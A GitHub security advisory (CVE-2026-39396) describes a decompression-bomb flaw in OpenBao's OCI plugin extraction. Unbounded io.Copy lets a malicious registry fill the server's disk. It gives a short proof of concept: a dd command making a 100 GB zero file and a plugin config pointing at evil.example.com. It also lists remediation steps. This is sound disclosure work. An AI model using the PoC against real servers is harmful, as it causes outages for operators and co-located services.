Skip to content

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Low severity GitHub Reviewed Published Apr 20, 2026 in openbao/openbao • Updated Apr 21, 2026

Package

gomod github.com/openbao/openbao (Go)

Affected versions

< 0.0.0-20260420180337-2b2a901aa9f7

Patched versions

0.0.0-20260420180337-2b2a901aa9f7

Description

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

  1. Set up a malicious OCI registry
  2. Create a decompression bomb binary:
    dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
  3. Package it in a minimal OCI image
  4. Push to the malicious registry
  5. Configure victim OpenBao to use this registry:
    plugin "secrets" "bomb" {
      image       = "evil.example.com/plugin"
      version     = "v1.0.0"
      binary_name = "openbao-plugin-secrets-bomb"
      sha256sum   = "0000000000000000000000000000000000000000000000000000000000000000"
    }
    plugin_auto_download = true
  6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

  • Denial of Service: Disk exhaustion on the OpenBao server
  • Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
  • Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
  • Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded

Remediation

  1. Validate header.Size against a configurable maximum before opening the output file
  2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy
  3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)

References

@cipherboy cipherboy published to openbao/openbao Apr 20, 2026
Published by the National Vulnerability Database Apr 21, 2026
Published to the GitHub Advisory Database Apr 21, 2026
Reviewed Apr 21, 2026
Last updated Apr 21, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-39396

GHSA ID

GHSA-r65v-xgwc-g56j

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.